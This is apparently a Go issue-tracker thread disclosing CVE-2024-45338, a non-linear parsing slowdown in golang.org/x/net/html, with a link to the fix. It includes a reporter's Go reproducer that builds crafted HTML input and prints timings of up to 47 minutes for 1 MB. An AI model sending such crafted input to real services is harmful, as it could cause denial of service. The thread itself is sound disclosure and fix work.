x/net/html: non-linear parsing of case-insensitive content

[rolandshoemaker]

An attacker can craft an input to the Parse functions that would be processed non-linearly with respect to its length, resulting in extremely slow parsing.

Thanks to Guido Vranken for reporting this issue.

This is CVE-2024-45338.

[gopherbot]

Change https://go.dev/cl/637536 mentions this issue: html: use strings.EqualFold instead of lowering ourselves

[guidovranken]

The following reproducer prints the execution time of html.Parse() to process 1, 2, 4, 8, 16, 32, 64, 128, 256, 512 and 1024 kilobytes of crafted input.

package main

import (
    "golang.org/x/net/html"
    "strings"
    "bytes"
    "fmt"
    "time"
)

func generate(size int) []byte {
    size1 := size / 2
    size2 := size / 8
    out := []byte("<math><Annotation-xml encoding=")
    out = append(out, bytes.Repeat([]byte{0xFF}, size1)...)
    out = append(out, bytes.Repeat([]byte("><</"), size2)...)
    return out
}

func main() {
    for kb := 1; kb <= 1024; kb *= 2 {
        data := generate(1024 * kb)
        start := time.Now()
        html.Parse(strings.NewReader(string(data)))
        duration := time.Since(start)
        fmt.Printf("Parsing %d kb took %s\n", kb, duration)
    }
}

Output on AMD Ryzen 5 5600G, Linux x64 using go1.23.2 linux/amd64 (from https://go.dev/dl/go1.23.2.linux-amd64.tar.gz)

Parsing 1 kb took 3.08939ms
Parsing 2 kb took 11.730778ms
Parsing 4 kb took 37.71703ms
Parsing 8 kb took 146.944095ms
Parsing 16 kb took 605.988269ms
Parsing 32 kb took 2.341168259s
Parsing 64 kb took 9.875122735s
Parsing 128 kb took 41.930787863s
Parsing 256 kb took 2m59.680417561s
Parsing 512 kb took 12m2.349134038s
Parsing 1024 kb took 47m38.232269575s

[mrco245]

so when I look at the go/src/go.mod file = in the latest release of go, it still refers to the versions of net that is failing this CVE. Is there any plans to address this?

[ianlancetaylor]

The Go standard library does not use the golang.org/x/net/html package, so there isn't anything to address. golang.org/x/net is there for other packages (dns, http, http2, idna, lif, nettest, route).